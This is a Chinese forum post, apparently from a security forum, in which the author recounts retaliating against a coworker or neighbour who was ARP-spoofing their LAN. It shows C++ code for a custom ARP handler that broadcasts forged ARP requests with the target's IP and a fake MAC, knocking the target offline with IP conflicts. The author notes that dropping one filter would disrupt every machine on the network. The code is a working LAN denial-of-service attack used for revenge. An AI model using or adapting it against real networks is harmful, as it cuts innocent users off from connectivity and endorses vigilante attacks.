返回列表 发帖

[讨论]今天彻底封杀了一ARP,好高兴

[讨论]今天彻底封杀了一ARP,好高兴
议题作者:husheng34
信息来源:邪恶八进制信息安全团队(www.eviloctal.com


这几天心血来朝,想自己实现TCP协议栈,刚把ARP部分写好,

查资料时发现上不了网了,打开sinffer软件一看,

某人在用arp软件,软件行为如下:

1: 向你发送arp应答包,

作用是:

我的MAC地址是网关,把包都发给我吧

2:向所有地址发送请求包,得到所有机器的MAC地址.

3:向存活主机发送 DNS反向解析,企图得到域名.


//=======================================

我当下就郁闷了,天天ARP别人,现在被人arp,

正好我又刚完ARP协议的应答部分,处理如下

注: 这个类 前面还有一个过滤器,只让目的地址为全F的arp包通过



这里是接收包的入口,Buff为包缓冲地址

int PackCondArpRequest::oper(PVOID Buff)  //接收的包缓冲地址
{
  pARP_HdrFull index = (pARP_HdrFull)Buff; //pARP_HdrFull为arp的包结构


  if( index->ARPHdr.DIP.mLong !=  _ip.mLong) //目的地址不是本机,则返回
    return -1;

  if( index->ARPHdr.op !=  0x0100)  //请求包
    return -1;

  printf("arp处理\n");

  ARP_HdrFull arpbuff;


  GetPackArp getbuff;  
           //构造自己的arp应答包

  int leng = getbuff.GetArp(&arpbuff,index->ARPHdr.SMAC,index->ARPHdr.SIP,_mac,_ip,2);  // 参数2: 目的MAC地址为包源地址,
       参数3: 目的IP地址为包源地址,
       参数4: 源MAC的地址为自己MAC地址,
      参数5 源MAC的地址为自己MAC地址,
      参数6,类型为2,是应答包
  leng = _Device->Send(&arpbuff,leng);

  return 0;
}


//============================================

把这个类改了改,如下,因为是临时写的,封装的很乱,

int PackCondArpRequest::oper(PVOID Buff)
{
  pARP_HdrFull index = (pARP_HdrFull)Buff;

  

  uIpAddr TIP;      //建一个网关地址,
  
  TIP.mStruct.byte1 = 192;
    TIP.mStruct.byte2 = 168;
      TIP.mStruct.byte3 = 1;
        TIP.mStruct.byte4 = 1;



  if( index->ARPHdr.DIP.mLong == TIP.mLong)    //如果目的地址是网关,就返回吧,总要让人家上网啊!
    return -1;



  if( index->ARPHdr.SMAC.mLongShort.mLong ==  _mac.mLongShort.mLong &&

    index->ARPHdr.SMAC.mLongShort.mShort == _mac.mLongShort.mShort ) //如果源MAC地址是那个家伙的,就执行封杀,如果去掉,则表示任何人
  {
   


  ARP_HdrFull arpbuff;


  GetPackArp getbuff;  
  
  uMacAddr AllMAC;             //建一个目的MAC地址,全F表示所有,广播拉
  AllMAC.mLongShort.mLong = 0xFFFFFFFF;
  AllMAC.mLongShort.mShort = 0xFFFF;


  uMacAddr TMAC;            // 建一个临时的MAC地址,做为源MAC地址
  TMAC.mLongShort.mLong = 0x11111111;
  TMAC.mLongShort.mShort = 0x1111;

  
  

           //建一个包,这个包的意思是:

           //以那个家伙的IP,MAC为1的地址,向所有的机器发送网关的 ARP请求包,

           后果是,他会弹出IP冲突,网关会失去配置,无法上网,

  int leng = getbuff.GetArp(&arpbuff,AllMAC,TIP,TMAC,index->ARPHdr.SIP);

  leng = _Device->Send(&arpbuff,leng);


  printf("arp处理\n");

  }

  return 0;
}

/====================================

通过以上代码,我就实现了,只他那个家伙向任何一台机器,发送arp请求,就会IP冲突,

当然,如果去掉MAC地址过滤,任何内网机器访问其它,除网关的电脑都会IP冲突,

不过如果愿望,也改成其它方式的封锁,

那个家伙在改了一个又一个IP以后,终于死心,关闭了他的arp软件,

我在家里得意的笑啊
帖子78 精华2 积分3543 阅读权限100 性别男 在线时间112 小时 注册时间2006-4-30 最后登录2008-7-13 查看详细资料引用 报告 回复 TOP 软件项目外包

寻寻
晶莹剔透§烈日灼然

返回列表